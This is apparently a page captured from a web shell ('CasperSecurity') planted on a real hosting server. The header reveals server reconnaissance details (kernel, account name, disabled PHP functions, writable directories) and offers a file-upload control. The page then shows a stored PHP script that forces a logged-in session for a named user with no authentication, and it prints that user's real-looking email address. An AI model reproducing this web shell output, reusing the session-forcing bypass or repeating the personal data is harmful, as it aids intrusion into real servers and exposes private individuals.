T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/.cursor-server/data/User/History/64bde6df/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/.cursor-server/data/User/History/64bde6df/3ucZ.php
<?php
session_start();
require_once 'config/database.php';

// Set session variables for Stephane (user ID 5)
$_SESSION['user_id'] = 5;
$_SESSION['name'] = 'stephane bergeron';
$_SESSION['email'] = 'stevenberg450@gmail.com';
$_SESSION['credits'] = 100;

// Verify the user exists
$pdo = getDBConnection();
$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id = ?");
$stmt->execute([5]);
$user = $stmt->fetch();

if (!$user) {
    die("❌ Stephane not found in database!");
}

// Get Stephane's tracks to verify
$stmt = $pdo->prepare("
    SELECT id, title, status, created_at 
    FROM music_tracks 
    WHERE user_id = ? 
    ORDER BY created_at DESC
");
$stmt->execute([5]);
$tracks = $stmt->fetchAll();

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Session Fixed - Stephane's Library</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
            background: #f5f5f5;
        }
        .success {
            background: #d4edda;
            border: 1px solid #c3e6cb;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .info {
            background: #d1ecf1;
            border: 1px solid #bee5eb;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .track-list {
            background: white;
            border-radius: 5px;
            padding: 20px;
            margin-top: 20px;
        }
        .track-item {
            padding: 10px;
            border-bottom: 1px solid #eee;
        }
        .track-item:last-child {
            border-bottom: none;
        }
        .btn {
            display: inline-block;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            margin: 5px;
        }
        .btn:hover {
            background: #0056b3;
        }
    </style>
</head>
<body>
    <div class="success">
        <h2>✅ Session Fixed!</h2>
        <p>You are now logged in as <strong><?= htmlspecialchars($user['name']) ?></strong></p>
        <p>User ID: <?= $user['id'] ?> | Email: <?= htmlspecialchars($user['email']) ?></p>
        <p>Session ID: <?= session_id() ?></p>
    </div>

    <div class="info">
        <h3>🎵 Stephane's Tracks (<?= count($tracks) ?> total)</h3>
        <p>These are the tracks that should appear in your library:</p>
    </div>

    <div class="track-list">
        <?php if (empty($tracks)): ?>
            <p>No tracks found for Stephane.</p>
        <?php else: ?>
            <?php foreach ($tracks as $track): ?>
                <div class="track-item">
                    <strong><?= htmlspecialchars($track['title']) ?></strong>
                    <br>
                    <small>
                        Status: <?= ucfirst($track['status']) ?> | 
                        Created: <?= date('M j, Y H:i', strtotime($track['created_at'])) ?>
                    </small>
                </div>
            <?php endforeach; ?>
        <?php endif; ?>
    </div>

    <div style="text-align: center; margin-top: 30px;">
        <a href="/library_new.php" class="btn">🎵 Go to Library</a>
        <a href="/artist_profile.php?id=5" class="btn">👤 View Artist Profile</a>
        <a href="/index.php" class="btn">🏠 Go Home</a>
    </div>

    <script>
        // Auto-redirect to library after 3 seconds
        setTimeout(function() {
            window.location.href = '/library_new.php';
        }, 3000);
    </script>
</body>
</html> 

CasperSecurity Mini